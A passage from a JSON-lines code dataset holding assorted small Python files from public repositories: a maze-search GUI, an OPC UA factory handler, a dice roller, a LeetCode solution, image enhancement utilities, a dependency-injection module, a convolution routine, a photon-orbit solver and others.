f\"Length:\\t{len(self.bfs_path)}\\n\"\n f\"Path:\\t{str(self.bfs_path)[1 : -1]}\\n\"\n )\n self.label_bfs_results.config(text = text_bfs)\n\n text_dfs = (\n f\"Steps:\\t{self.dfs_counter}\\n\"\n f\"Length:\\t{len(self.dfs_path)}\\n\"\n f\"Path:\\t{str(self.dfs_path)[1 : -1]}\\n\"\n )\n self.label_dfs_results.config(text = text_dfs)\n\n text_astar = (\n f\"Steps:\\t{self.astar_counter}\\n\"\n f\"Length:\\t{len(self.astar_path)}\\n\"\n f\"Path:\\t{str(self.astar_path)[1 : -1]}\\n\"\n )\n self.label_astar_results.config(text = text_astar)\n\n\n def disable_buttons(self):\n self.button_bfs['state'] = 'disabled'\n self.button_dfs['state'] = 'disabled'\n self.button_astar['state'] = 'disabled'\n\n\n def enable_buttons(self):\n self.button_bfs['state'] = 'normal'\n self.button_dfs['state'] = 'normal'\n self.button_astar['state'] = 'normal'\n\n\n def wait(self, time):\n '''\n Function Name: wait\n Pauses the event for a specific time in milliseconds\n \n Parameters:\n time -- int, in milliseconds\n \n Raises:\n Nothing\n \n Returns:\n None\n '''\n var = tk.IntVar()\n self.master.after(time, var.set, 1)\n self.master.wait_variable(var)\n\n\ndef main():\n # 1 is wall; 0 is empty\n maze = [\n [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1],\n [1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1],\n [1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1],\n [1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1],\n [1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1],\n [1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1],\n [1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1],\n [1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1],\n [1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1],\n [1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1],\n [1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1],\n [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]\n ]\n '''\n Example 1:\n ----------\n Start and end are far away\n BFS - more steps, shorter path\n DFS - less steps, longer path\n '''\n start = (10, 1)\n end = (1, 10)\n\n '''\n Example 2:\n ----------\n Start and end are close together\n BFS - less steps, shorter path\n DFS - more steps, longer path\n '''\n # start = (3, 8)\n # end = (8, 3)\n \n master = tk.Tk()\n application = Application(master, maze, start, end)\n application.build_window()\n master.mainloop()\n\nif __name__ == '__main__':\n main()\n\n\n \n","repo_name":"macarious/Maze-Traversal-Demo","sub_path":"maze_traversal.py","file_name":"maze_traversal.py","file_ext":"py","file_size_in_byte":23425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"11002195190","text":"import logging\nfrom Optimizer.transfgraph import Operation\n\n\nclass SubHandler:\n\t\"\"\"\n\tGeneric Subscription Handler. To receive events from server for a subscription\n\tDo not use heavy methods inside this class\n\t\"\"\"\n\n\tdef __init__(self, logger=logging.getLogger(__name__)):\n\t\tself._logger = logger\n\n\tdef datachange_notification(self, node, val, data):\n\t\t\"\"\"\n\t\tcalled for every datachange notification from server\n\t\t\"\"\"\n\t\tself._logger.debug(\"Update {}:\\t {}\".format(node, val))\n\n\tdef event_notification(self, event):\n\t\t\"\"\"\n\t\tcalled for every event notification from server\n\t\t\"\"\"\n\t\tself._logger.debug(\"Event :\\t {}\".format(event))\n\n\tdef status_change_notification(self, status):\n\t\t\"\"\"\n\t\tcalled for every status change notification from server\n\t\t\"\"\"\n\t\tself._logger.debug(\"Status Update :\\t {}\".format(status))\n\n\nclass OptimizerSubHandler(SubHandler):\n\t\"\"\"\n\tSubscription handler to be used with optimizer for\n\tsensor and actuator updates.\n\t\"\"\"\n\n\tdef __init__(self, optimizer, cond, cond_p1, cond_p2, cond_pusher_1, cond_pusher_2, cond_pusher_3, logger=logging.getLogger(__name__)):\n\t\tSubHandler.__init__(self, logger)\n\t\tself.optimizer = optimizer\n\t\tself.encoding = {\"c1t3\": \"Ma_1\", \"c1t4\": \"Mb_1\", \"c1t5\": \"Mc_1\",\n\t\t\t\t\t\t \"c3t3\": \"Ma_2\", \"c3t4\": \"Mb_2\", \"c3t5\": \"Mc_2\",\n\t\t\t\t\t\t \"c5t3\": \"Ma_3\", \"c5t4\": \"Mb_3\", \"c5t5\": \"Mc_3\"}\n\t\tself.cond = cond\n\t\tself.cond_p1 = cond_p1\n\t\tself.cond_p2 = cond_p2\n\t\tself.cond_pusher_1 = cond_pusher_1\n\t\tself.cond_pusher_2 = cond_pusher_2\n\t\tself.cond_pusher_3 = cond_pusher_3\n\n\tdef datachange_notification(self, node, val, data):\n\t\t\"\"\"\n\t\tOverrides parent class method to update optimizer state\n\t\t#TODO: esta funçao tem q ser rapida por isso convem\n\t\t\t\tdepois trocar procuras por dicionarios hardcoded.\n\t\t\"\"\"\n\n\t\tself.optimizer.factory_state[str(node.nodeid.Identifier)] = val\n\t\tself._logger.debug(\"Update {}:\\t {}\".format(node, val))\n\t\tif val is True:\n\t\t\t# só quero ver qnd ficam true depois pode-se tirar isto\n\t\t\t# print(f'Change on {node.nodeid.Identifier}: {val}')\n\t\t\tpass\n\t\t# CRIAR OUTRO SUB HANDLER\n\t\tif str(\n\t\t\t\tnode.nodeid.Identifier) == \"|var|CODESYS Control Win V3 x64.Application.tapetes.at1.Init.x\" and val is True:\n\t\t\tprint(\"Release the prisioners\")\n\t\t\tself.cond.set()\n\n\t\telif str(\n\t\t\t\tnode.nodeid.Identifier) == \"|var|CODESYS Control Win V3 x64.Application.GVL.c7t1b_i.sensor\" and val is True:\n\t\t\tprint(\"LOCK AND LOAD1\")\n\t\t\tself.cond_p1.set()\n\n\t\telif str(\n\t\t\t\tnode.nodeid.Identifier) == \"|var|CODESYS Control Win V3 x64.Application.GVL.c7t7b_i.sensor\" and val is True:\n\t\t\tprint(\"LOCK AND LOAD2\")\n\t\t\tself.cond_p2.set()\n\n\t\telif str(\n\t\t\t\tnode.nodeid.Identifier) == \"|var|CODESYS Control Win V3 x64.Application.GVL.vazio_ramp1\" and val is True:\n\t\t\tprint('UNLOAD SERVICES 1 !!!!')\n\t\t\tself.optimizer.pusher.count_1 = 0\n\t\t\tself.cond_pusher_1.set()\n\n\t\telif str(\n\t\t\t\tnode.nodeid.Identifier) == \"|var|CODESYS Control Win V3 x64.Application.GVL.vazio_ramp2\" and val is True:\n\t\t\tprint('UNLOAD SERVICES 2 !!!!')\n\t\t\tself.optimizer.pusher.count_2 = 0\n\t\t\tself.cond_pusher_2.set()\n\n\t\telif str(\n\t\t\t\tnode.nodeid.Identifier) == \"|var|CODESYS Control Win V3 x64.Application.GVL.vazio_ramp3\" and val is True:\n\t\t\tprint('UNLOAD SERVICES 3 !!!!')\n\t\t\tself.optimizer.pusher.count_3 = 0\n\t\t\tself.cond_pusher_3.set()\n\n\n\t\telif str(\n\t\t\t\tnode.nodeid.Identifier) == \"|var|CODESYS Control Win V3 x64.Application.GVL.piece_array[2].id\" and val != 0:\n\t\t\tprint(f\"Piece {val} complete\")\n\t\t\tself.optimizer.tracker.mark_complete(int(val))\n\t\t\tself.optimizer.tracker.print_tracking_info()\n\t\t\tself.optimizer.tracker.print_order_status()\n \n\t\t##UNLOAD 1 \n\t\telif str(\n\t\t\t\tnode.nodeid.Identifier) == \"|var|CODESYS Control Win V3 x64.Application.GVL.la_vai1\" and val != 0:\n\t\t\tprint(f\"Piece {val} unload complete\")\n\t\t\tself.optimizer.tracker.mark_unloaded(int(val))\n\t\t\tself.optimizer.tracker.print_tracking_info()\n\t\t\tself.optimizer.tracker.print_order_status()\n\t\t##UNLOAD 2 \n\t\telif str(\n\t\t\t\tnode.nodeid.Identifier) == \"|var|CODESYS Control Win V3 x64.Application.GVL.la_vai2\" and val != 0:\n\t\t\tprint(f\"Piece {val} unload complete\")\n\t\t\tself.optimizer.tracker.mark_unloaded(int(val))\n\t\t\tself.optimizer.tracker.print_tracking_info()\n\t\t\tself.optimizer.tracker.print_order_status() \n\t\t##UNLOAD 3 \n\t\telif str(\n\t\t\t\tnode.nodeid.Identifier) == \"|var|CODESYS Control Win V3 x64.Application.GVL.la_vai3\" and val != 0:\n\t\t\tprint(f\"Piece {val} unload complete\")\n\t\t\tself.optimizer.tracker.mark_unloaded(int(val))\n\t\t\tself.optimizer.tracker.print_tracking_info()\n\t\t\tself.optimizer.tracker.print_order_status()\n \n \n\t\tfor machine in self.encoding.keys():\n\t\t\tif machine in str(node.nodeid.Identifier):\n\t\t\t\tif \"op\" in str(node.nodeid.Identifier) and val is True:\n\t\t\t\t\tself.optimizer.state.machines[self.encoding[machine]].remove_op()\n\t\t\t\t\tself.optimizer.state.machines[self.encoding[machine]].op_list[0].update_next_tool()\n\n\t\t\t\telif \"Init\" in str(node.nodeid.Identifier) and val is True:\n\t\t\t\t\tself.optimizer.state.machines[self.encoding[machine]].make_available()\n\t\t\t\tbreak\n\n\t\tself.optimizer.update_state(node.nodeid.Identifier, val)\n\t# self.optimizer.print_state()\n","repo_name":"AndreTeixeira1998/II_Project","sub_path":"OPC_UA/subhandles.py","file_name":"subhandles.py","file_ext":"py","file_size_in_byte":5073,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"44"} +{"seq_id":"70024778374","text":"from tkinter import *\r\nimport random\r\ntop=Tk()\r\ndef dice():\r\n\ta=random.randrange(1,7)\r\n\tc.configure(text=str(a))\r\nd=Label(top,text=\"Welcome to roll dice\",fg=\"red\")\r\nd.pack()\r\ne=Label(top,text=\"click the \\\"roll dice\\\" button to roll the dice\",fg=\"green\")\r\ne.pack()\r\nb=Button(top,text=\"roll dice \",command=dice,relief=\"raise\",bd=25,bg=\"white\",fg=\"red\")\r\nb.pack(side=\"left\")\r\nc=Label(top,text=\"\",fg=\"white\",bg=\"black\")\r\nc.pack(side=\"right\")\r\ntop.mainloop()\r\n\r\n\r\n#program to roll a dice\r\n#using tkinter\r\n","repo_name":"Harshit26042004/My-first-project","sub_path":"dice tk.py","file_name":"dice tk.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"44"} +{"seq_id":"14287451929","text":"#\n# @lc app=leetcode id=739 lang=python3\n#\n# [739] Daily Temperatures\n#\n# https://leetcode.com/problems/daily-temperatures/description/\n#\n# algorithms\n# Medium (66.55%)\n# Likes: 8582\n# Dislikes: 202\n# Total Accepted: 490.4K\n# Total Submissions: 737K\n# Testcase Example: '[73,74,75,71,69,72,76,73]'\n#\n# Given an array of integers temperatures represents the daily temperatures,\n# return an array answer such that answer[i] is the number of days you have to\n# wait after the i^th day to get a warmer temperature. If there is no future\n# day for which this is possible, keep answer[i] == 0 instead.\n# \n# \n# Example 1:\n# Input: temperatures = [73,74,75,71,69,72,76,73]\n# Output: [1,1,4,2,1,1,0,0]\n# Example 2:\n# Input: temperatures = [30,40,50,60]\n# Output: [1,1,1,0]\n# Example 3:\n# Input: temperatures = [30,60,90]\n# Output: [1,1,0]\n# \n# \n# Constraints:\n# \n# \n# 1 <= temperatures.length <= 10^5\n# 30 <= temperatures[i] <= 100\n# \n# \n#\n\n# @lc code=start\nclass Solution:\n def dailyTemperatures(self, temperatures: List[int]) -> List[int]:\n lst=[0]*len(temperatures)\n for i in range(len(temperatures)):\n count=0\n for j in range(i+1,len(temperatures)):\n if(temperatures[i] {v}')\n","repo_name":"bozhikovstanislav/Python-Fundamentals","sub_path":"List-Dictionarys/Dictionary_HomeWork/05.MixedPhone.py","file_name":"05.MixedPhone.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"38042833767","text":"from mtcnn import MTCNN\r\nimport cv2\r\nfrom deepface import DeepFace\r\nfrom keras.models import load_model\r\nfrom keras.preprocessing import image\r\nfrom numpy import load\r\nfrom numpy import expand_dims\r\nfrom PIL import Image\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport imageio\r\nimport os\r\nimport tensorflow\r\n# import keras.backend as tb\r\n# import keras.backend.tensorflow_backend as tb\r\nfrom keras import backend as K\r\nfrom keras import losses\r\n# import tensorflow as tf\r\n# tb._SYMBOLIC_SCOPE.value = True\r\n\r\n# nima_model=load_model('models/NIMA.h5')\r\n\r\nclass ImageUtils:\r\n\r\n def __init__(self, up_image):\r\n self.uploadedImage = up_image\r\n\r\n def validate_image(self):\r\n validate_image = cv2.imread(self.uploadedImage)\r\n face_detector = MTCNN()\r\n faces_n = face_detector.detect_faces(validate_image)\r\n print(len(faces_n))\r\n if len(faces_n) == 1:\r\n return True\r\n else:\r\n return False\r\n\r\n def pre_process_img(self):\r\n\r\n up_img = Image.open(self.uploadedImage)\r\n up_img = up_img.resize((512, 512), Image.ANTIALIAS)\r\n up_array = image.img_to_array(up_img)\r\n up_array = np.expand_dims(up_array, axis=0)\r\n up_array /= 255.\r\n\r\n return up_array\r\n\r\n\r\nclass EmotionDetector:\r\n\r\n def __init__(self, up_image):\r\n self.uploadedImage = up_image\r\n\r\n def getEmotion(self):\r\n demography = DeepFace.analyze(self.uploadedImage)\r\n final_emotion = demography['dominant_emotion']\r\n print(final_emotion)\r\n if final_emotion == \"neutral\":\r\n\r\n sad_perc = demography['emotion']['sad']\r\n happy_perc = demography['emotion']['happy']\r\n print(demography['emotion'])\r\n if sad_perc > happy_perc:\r\n final_emotion = \"sad\"\r\n else:\r\n final_emotion = \"happy\"\r\n elif final_emotion == \"sad\" or final_emotion == \"happy\":\r\n final_emotion = final_emotion\r\n else:\r\n final_emotion = \"invalid\"\r\n\r\n return final_emotion\r\n\r\n\r\ndef mean_score(scores):\r\n si = K.arange(1, 11, 1)\r\n sc = K.cast(scores, 'float32')\r\n si = K.cast(si, 'float32')\r\n mean = K.sum(sc * si)\r\n return mean\r\n\r\n\r\ndef std_score(scores):\r\n si = K.arange(1, 11, 1)\r\n mean = mean_score(scores)\r\n si = K.cast(si, 'float32')\r\n mean = K.cast(mean, 'float32')\r\n std = K.sqrt(K.sum(((si - mean) ** 2) * scores))\r\n return std\r\n\r\n#\r\n# def NIMA_Loss(y_true, y_pred):\r\n# gamma = 0.0001\r\n# # Pre-processing y-pred before sending to the NIMA model\r\n# num_ex = K.shape(y_pred)[0]\r\n# y_img = tf.image.resize(y_pred, (224, 224))\r\n# # Getting Predicted score from NIMA model\r\n# y_p = nima_model(K.reshape(y_img, (num_ex, 224, 224, 3)))\r\n# scores = y_p\r\n# # Getting Final predicted score\r\n# finalScore = mean_score(scores) + std_score(scores)\r\n# # Getting Final Loss\r\n# finalLoss = losses.mean_absolute_error(y_true, y_pred) + gamma * (10 - finalScore)\r\n#\r\n# return finalLoss\r\n\r\n\r\nclass ImageEnhancer:\r\n\r\n def __init__(self, up_image, image_utils):\r\n\r\n self.processedImage = image_utils.pre_process_img()\r\n self.happypath = 'models/EnhModelHappyFinal.h5'\r\n self.sadpath = 'models/EnhModelsadFinal.h5'\r\n\r\n og_img = Image.open(up_image)\r\n self.orig_image = np.asarray(og_img)\r\n\r\n def enhance_image(self, sent_parameter, savepath, o_filename):\r\n\r\n if sent_parameter == \"happy\":\r\n happyModel = load_model(self.happypath, compile=False)\r\n gen_image = happyModel.predict(self.processedImage)\r\n gen_image = gen_image.reshape(gen_image.shape[1:])\r\n elif sent_parameter == \"sad\":\r\n sadModel = load_model(self.sadpath, compile=False)\r\n gen_image = sadModel.predict(self.processedImage)\r\n gen_image = gen_image.reshape(gen_image.shape[1:])\r\n\r\n final_image = cv2.resize(gen_image,\r\n (int(self.orig_image.shape[1] / 2), int(self.orig_image.shape[0] / 2)),\r\n interpolation=cv2.INTER_AREA)\r\n final_image = cv2.normalize(final_image, None, 0, 255, cv2.NORM_MINMAX, cv2.CV_8U)\r\n\r\n final_name = \"enh_\" + o_filename\r\n\r\n temp_path = os.path.join(savepath, final_name)\r\n\r\n imageio.imwrite(temp_path, final_image)\r\n\r\n return temp_path\r\n\r\n\r\n\r\nclass ImageComparison:\r\n\r\n def __init__(self, original_image, enhanced_image):\r\n\r\n self.originalImage = cv2.imread(original_image)\r\n self.enhancedImage = cv2.imread(enhanced_image)\r\n self.hsv_og = cv2.cvtColor(self.originalImage, cv2.COLOR_BGR2HSV)\r\n self.hsv_enh = cv2.cvtColor(self.enhancedImage, cv2.COLOR_BGR2HSV)\r\n\r\n def get_brightness(self):\r\n\r\n _, _, v = cv2.split(self.hsv_og)\r\n _, _, v1 = cv2.split(self.hsv_enh)\r\n\r\n og_brightness = int(np.average(v.flatten()))\r\n enh_brightness = int(np.average(v1.flatten()))\r\n\r\n brightness_change = enh_brightness - og_brightness\r\n\r\n if brightness_change > 0:\r\n bright_str = \"+ \" + str(brightness_change)\r\n else:\r\n bright_str = str(brightness_change)\r\n\r\n return bright_str\r\n\r\n def get_hue(self):\r\n\r\n h, _, _ = cv2.split(self.hsv_og)\r\n\r\n h1, _, _ = cv2.split(self.hsv_enh)\r\n\r\n og_hue = int(np.average(h.flatten()))\r\n enh_hue = int(np.average(h1.flatten()))\r\n\r\n hue_change = enh_hue - og_hue\r\n\r\n if hue_change > 0:\r\n hue_str = \"+ \" + str(hue_change)\r\n else:\r\n hue_str = str(hue_change)\r\n\r\n return hue_str\r\n\r\n def get_saturation(self):\r\n\r\n _, s, _ = cv2.split(self.hsv_og)\r\n\r\n _, s1, _ = cv2.split(self.hsv_enh)\r\n\r\n og_saturation = int(np.average(s.flatten()))\r\n enh_saturation = int(np.average(s1.flatten()))\r\n\r\n saturation_change = enh_saturation - og_saturation\r\n\r\n if saturation_change > 0:\r\n saturation_str = \"+ \" + str(saturation_change)\r\n else:\r\n saturation_str = str(saturation_change)\r\n\r\n return saturation_str\r\n\r\n def get_contrast(self):\r\n\r\n lab_og = cv2.cvtColor(self.originalImage, cv2.COLOR_BGR2LAB)\r\n lab_enh = cv2.cvtColor(self.enhancedImage, cv2.COLOR_BGR2LAB)\r\n\r\n L, _, _ = cv2.split(lab_og)\r\n\r\n L1, _, _ = cv2.split(lab_enh)\r\n\r\n kernel = np.ones((5, 5), np.uint8)\r\n min = cv2.erode(L, kernel, iterations=1)\r\n max = cv2.dilate(L, kernel, iterations=1)\r\n\r\n min = min.astype(np.float64)\r\n max = max.astype(np.float64)\r\n\r\n contrast = (max - min) / (max + min)\r\n\r\n average_contrast_og = 100 * np.mean(contrast)\r\n\r\n kernel = np.ones((5, 5), np.uint8)\r\n min = cv2.erode(L1, kernel, iterations=1)\r\n max = cv2.dilate(L1, kernel, iterations=1)\r\n\r\n min = min.astype(np.float64)\r\n max = max.astype(np.float64)\r\n\r\n contrast = (max - min) / (max + min)\r\n\r\n average_contrast_enh = 100 * np.mean(contrast)\r\n\r\n contrast_change = average_contrast_enh - average_contrast_og\r\n\r\n if contrast_change > 0:\r\n contrast_str = \"+ \" + str(int(contrast_change))\r\n else:\r\n contrast_str = str(int(contrast_change))\r\n\r\n return contrast_str\r\n\r\n def get_histogram(self, chartpath):\r\n vals = self.enhancedImage.mean(axis=2).flatten()\r\n b, bins, patches = plt.hist(vals, 255)\r\n plt.xlim([0, 255])\r\n temp_path = os.path.join(chartpath, 'histogram.png')\r\n plt.savefig(temp_path)\r\n\r\n return temp_path\r\n","repo_name":"amr3sh/Phaedra_BE","sub_path":"EnhancementPy.py","file_name":"EnhancementPy.py","file_ext":"py","file_size_in_byte":7652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"32357521455","text":"import asyncio\nimport inspect\nimport typing as t\n\nfrom flama.injection.exceptions import ComponentNotFound\nfrom flama.injection.resolver import Parameter\n\n__all__ = [\"Component\", \"Components\"]\n\n\nclass Component:\n def identity(self, parameter: Parameter) -> str:\n \"\"\"Each component needs a unique identifier string that we use for lookups from the `state` dictionary when we\n run the dependency injection.\n\n :param parameter: The parameter to check if that component can handle it.\n :return: Unique identifier.\n \"\"\"\n try:\n parameter_type = parameter.type.__name__\n except AttributeError:\n parameter_type = parameter.type.__class__.__name__\n component_id = f\"{id(parameter.type)}:{parameter_type}\"\n\n # If `resolve_parameter` includes `Parameter` then we use an identifier that is additionally parameterized by\n # the parameter name.\n args = inspect.signature(self.resolve).parameters.values() # type: ignore[attr-defined]\n if Parameter in [arg.annotation for arg in args]:\n component_id += f\":{parameter.name.lower()}\"\n\n return component_id\n\n def can_handle_parameter(self, parameter: Parameter) -> bool:\n \"\"\"The default behavior is for components to handle whatever class is used as the return annotation by the\n `resolve` method.\n\n You can override this for more customized styles, for example if you wanted name-based parameter resolution, or\n if you want to provide a value for a range of different types.\n\n :param parameter: The parameter to check if that component can handle it.\n :return: True if this component can handle the given parameter.\n \"\"\"\n return_annotation = inspect.signature(self.resolve).return_annotation # type: ignore[attr-defined]\n assert return_annotation is not inspect.Signature.empty, (\n f\"Component '{self.__class__.__name__}' must include a return annotation on the 'resolve' method, or \"\n f\"override 'can_handle_parameter'\"\n )\n\n return parameter.type is return_annotation\n\n def signature(self) -> t.Dict[str, Parameter]:\n \"\"\"Component resolver signature.\n\n :return: Component resolver signature.\n \"\"\"\n return {\n k: Parameter.from_parameter(v)\n for k, v in inspect.signature(self.resolve).parameters.items() # type: ignore[attr-defined]\n }\n\n async def __call__(self, *args, **kwargs):\n \"\"\"Performs a resolution by calling this component's resolve method.\n\n :param args: Resolve positional arguments.\n :param kwargs: Resolve keyword arguments.\n :return: Resolve result.\n \"\"\"\n if asyncio.iscoroutinefunction(self.resolve):\n return await self.resolve(*args, **kwargs)\n\n return self.resolve(*args, **kwargs)\n\n def __str__(self) -> str:\n return str(self.__class__.__name__)\n\n\nclass Components(t.Tuple[Component, ...]):\n def __new__(cls, components=None):\n return super().__new__(cls, components or [])\n\n def __eq__(self, other: t.Any) -> bool:\n try:\n return super().__eq__(tuple(other)) # type: ignore[arg-type]\n except TypeError:\n return False\n\n def find_handler(self, parameter: Parameter) -> Component:\n \"\"\"Look for a component that can handles given parameter.\n\n :param parameter: a parameter.\n :return: the component that handles the parameter.\n \"\"\"\n for component in self:\n if component.can_handle_parameter(parameter):\n return component\n else:\n raise ComponentNotFound(parameter)\n","repo_name":"vortico/flama","sub_path":"flama/injection/components.py","file_name":"components.py","file_ext":"py","file_size_in_byte":3708,"program_lang":"python","lang":"en","doc_type":"code","stars":240,"dataset":"github-code","pt":"44"} +{"seq_id":"39211956182","text":"source = [\n {\n \"name\": \"Kovalchuk Oleksiy\",\n \"specialty\": 301,\n \"math\": 175,\n \"lang\": 180,\n \"eng\": 155,\n },\n {\n \"name\": \"Ivanchuk Boryslav\",\n \"specialty\": 101,\n \"math\": 135,\n \"lang\": 150,\n \"eng\": 165,\n },\n {\n \"name\": \"Karpenko Dmitro\",\n \"specialty\": 201,\n \"math\": 155,\n \"lang\": 175,\n \"eng\": 185,\n },\n]\n\ndef save_applicant_data(source, output):\n\n # Use the context manager with to open the output file in write mode\n with open(output, \"w\") as output_file:\n\n # Loop through the source list\n for applicant in source:\n\n # Get the name, specialty, and scores of the applicant\n name = applicant[\"name\"]\n specialty = applicant[\"specialty\"]\n math = applicant[\"math\"]\n lang = applicant[\"lang\"]\n eng = applicant[\"eng\"]\n\n # Create a string with the applicant data, separated by commas\n data = f\"{name},{specialty},{math},{lang},{eng}\\n\"\n\n # Write the data to the output file\n output_file.write(data)\n #print(data)\n\n#save_applicant_data(source, output)\n#save_applicant_data(source)\n \n# This function will save the specified list from the source parameter to a file from the output parameter. It will use the context manager with to open and close the output file automatically. It will loop through the source list and get the name, specialty, and scores of each applicant. It will create a string with the applicant data, separated by commas, and write it to the output file. It will write the new contents of the output file using the write method. However, it will not handle any errors or exceptions that may occur while opening or writing to the file. If you want to make your code more robust, you will need to add some error handling mechanisms.","repo_name":"dmitrykutsenko/Goit_repo","sub_path":"mod_06/hw_06_08.py","file_name":"hw_06_08.py","file_ext":"py","file_size_in_byte":1895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"1808036204","text":"import json\n\n# create a simple JSON array\njsons = '{\"key1\":\"value1\",\"key2\":\"value2\",\"key3\":\"value3\"}'\n\n# change the JSON string into dict\njsonObject = json.loads(jsons)\nprint(type(jsonObject))\n# print the keys and values\nfor key in jsonObject:\n value = jsonObject[key]\n print(\"The key and value are {} = {}\".format(key, value))\n","repo_name":"PixelNoob/PythonNoob","sub_path":"scripts/jsoon_loop.py","file_name":"jsoon_loop.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"18621622965","text":"import os\n\nimport pandas as pd\n\nbase_dir = \"extracted_data\"\nfiles_list_dir = base_dir+\"/data.xlsx\"\nskipped_pages_list_dir = base_dir+\"/skipped_pages.xlsx\"\n\n\nif not os.path.isdir(base_dir):\n os.mkdir(base_dir)\n\nif not os.path.isfile(files_list_dir):\n df = pd.DataFrame({'pid': [],'name':[],'date':[],'approval':[]})\n df.to_excel(files_list_dir, index=False)\n\nif not os.path.isfile(skipped_pages_list_dir):\n df = pd.DataFrame({'pages': []})\n df.to_excel(skipped_pages_list_dir, index=False)\n\n# if not os.path.isfile(ref_list_dir):\n# df = pd.DataFrame({'act1': [],'act2':[]})\n# df.to_excel(ref_list_dir, index=False)","repo_name":"fatemeq/standard","sub_path":"abdal_crawlers/crawler-qavanin-ir-list/save/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"5584290311","text":"from PIL import ImageDraw\n\n\ndef get_kernel_bounds(x, y, kernel_width, kernel_height, image_width, image_height):\n x_min = max(0, (kernel_width // 2) - x)\n x_max = min(kernel_width, (image_width - x) + 1)\n y_min = max(0, (kernel_height // 2) - y)\n y_max = min(kernel_height, (image_height - y) + 1)\n return x_min, x_max, y_min, y_max\n\n\ndef calculate_pixel(kernel, pixels, image_width, image_height, x, y):\n kernel_height_half = int(kernel.shape[0]/2)\n kernel_width_half = int(kernel.shape[1]/2)\n x_min, x_max, y_min, y_max = get_kernel_bounds(x, y, kernel.shape[1], kernel.shape[0], image_width, image_height)\n color_sum = 0\n\n for kernel_x in range(x_min, x_max):\n for kernel_y in range(y_min, y_max):\n pos_x = x + kernel_x - kernel_width_half\n pos_y = y + kernel_y - kernel_height_half\n color_sum += pixels[pos_x, pos_y] * kernel[kernel_y, kernel_x]\n return color_sum\n\n\ndef convolve(image, output, kernel):\n draw = ImageDraw.Draw(output)\n pixels = image.load()\n for y in range(0, image.height):\n for x in range(0, image.width):\n color_sum = calculate_pixel(kernel, pixels, image.width, image.height, x, y)\n draw.point((x, y), int(color_sum))\n","repo_name":"AlbinOdelstav/computer-vision","sub_path":"Feature detection/conv.py","file_name":"conv.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"36577494015","text":"from numpy import *\nimport matplotlib.pyplot as plt\nfrom scipy.integrate import odeint\n\n###################################\n###CONSTANTES\n###################################\n\nG=6.673E-11 #[N*(m/kg)^2] costante gravitacional\nC=299792458.0 #[m/s] velocidad de la luz\nM=1.989E30 #[kg] masa del sol\nRs=2*G*M/(C**2) #radio schwarzchild\nE=0.9*C**2\n\n##################################\n###SISTEMA DE ECUACIONES\n##################################\n\n#fo=dt/dlam f1=dphi/dlam f2=dr/dlam\ndef f(y,lam):\n ri = y[0]\n phi= y[1]\n L=(E/C**2)*ri*sin(phi)\n \n f1=L/ri**2\n f2=sqrt(fabs(((E/C**2)**2)-((L**2/ri**2)*(1-(Rs/ri)))))\n return [f1,f2]\n\n\n##################################\n###VALORES INICIALES\n##################################\n\nro = 2.5*Rs #radio inicial\nphio= pi/3.0 #angulo inicial\nyo = [ro,phio] #verctor inicial\nlam = linspace(0,1.0E5,6.0E5) #grid de integracion\n\n##################################\n###SOLUCION DEL SISTEMA\n##################################\n\nsol=odeint(f,yo,lam)\nPHI =sol[:,0]\nR =sol[:,1]\n'''\nfor i in xrange(len(PHI)):\n if R[i]==nan:\n R[i]=0.\n print' nan R'\n if PHI[i]==nan:\n PHI[i]=0.\n print' nan PHI'\n'''\n'''\nprint PHI\nprint R\n'''\n#plt.polar(array(PHI),array(R))\n#plt.plot(array(R*cos(PHI)),array(R*sin(PHI)))\nplt.plot(array(R),array(PHI))\nplt.show()\n\n","repo_name":"cosmolejo/cosmolejo.github.io","sub_path":"Metodos_Numericos/Problema_3_Alejandro_Mesa_1017228006/foton.py","file_name":"foton.py","file_ext":"py","file_size_in_byte":1387,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"21845690100","text":"from collections import namedtuple\nfrom .stuff import Variable, Symbol\nfrom .util import dfs\n\nMatch = namedtuple(\"Match\", [\"pattern\", \"path\", \"symbols\"])\n\ndef normalize_path(base, path):\n if len(path) < len(base):\n return None\n if len(path) == len(base):\n if path == base:\n return ()\n return None\n\n if path[: len(base)] == base:\n return path[len(base) :]\n return None\n\n\n# returns list of pairs (pattern, path)\ndef tree_match(tree, ptns):\n filteredPatterns = []\n for path, vertex in dfs(tree):\n # add all patterns as potentially being rooted at this vertex\n filteredPatterns += [Match(p, path, dict()) for p in ptns]\n\n # filter out the ones that don't match at this particular path\n failed = set()\n for idx, (ptn, ptnRootPath, ptnSymbols) in enumerate(filteredPatterns):\n normalPath = normalize_path(ptnRootPath, path)\n if 